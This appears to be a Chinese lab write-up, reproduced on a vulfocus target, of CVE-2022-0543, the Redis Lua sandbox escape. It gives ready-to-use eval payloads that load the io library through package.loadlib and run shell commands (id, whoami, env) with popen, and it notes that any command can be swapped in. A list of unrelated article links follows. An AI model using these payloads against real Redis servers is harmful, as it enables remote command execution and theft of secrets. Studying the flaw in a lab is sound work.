当前位置: 首页 > news >正文

cve_2022_0543-redis沙盒漏洞复现 vulfocus

1. 原理

 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

2.复现

我们可以尝试payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在其中local f = io.popen("id", "r")用后面的read去尝试其他命令,修改“id”就可以读取其他内容
查看whoami

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

查看flag,flag在env环境变量中,用读取

 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("env", "r"); local res = f:read("*a"); f:close(); return res' 0

http://www.lryc.cn/news/369047.html

相关文章:

  • 浅解Reids持久化
  • Java24:会话管理 过滤器 监听器
  • web前端电影简介标签:深度解析与创意应用
  • Java面向对象-方法的重写、super
  • 解锁ChatGPT:从GPT-2实践入手解密ChatGPT
  • 20240605解决飞凌的OK3588-C的核心板刷机原厂buildroot不能连接ADB的问题
  • c++手写的bitset
  • 【机器学习系列】深入理解集成学习:从Bagging到Boosting
  • 用FFMPEG对YUV序列进行编辑的笔记
  • 智能投顾:重塑金融理财市场,引领行业新潮流
  • iOS18 新变化提前了解,除了AI还有这些变化
  • 力扣算法题:多数元素 --多语言实现
  • [Kubernetes] 容器运行时 Container Runtime
  • 10进制与二、八、十六进制的转换
  • 日常实习-小米计算机视觉算法岗面经
  • (C++)string模拟实现
  • 类和对象的学习总结(一)
  • 力扣22. 括号生成
  • 检测窗口是否最大化兼容 Win10/11
  • 【qsort函数】
  • python类元编程示例-使用类型注解来检查转换属性值的类框架
  • Python3 笔记:字符串的 zfill() 和 rjust()
  • SpringBoot项目启动提示端口号占用
  • 音视频开发23 FFmpeg 音频重采样
  • windows系统下安装fnm
  • 【Linux网络】传输层协议 - UDP
  • debugger(四):源代码
  • 基于运动控制卡的圆柱坐标机械臂设计
  • MongoDBTemplate-基本文档查询
  • 23种设计模式——创建型模式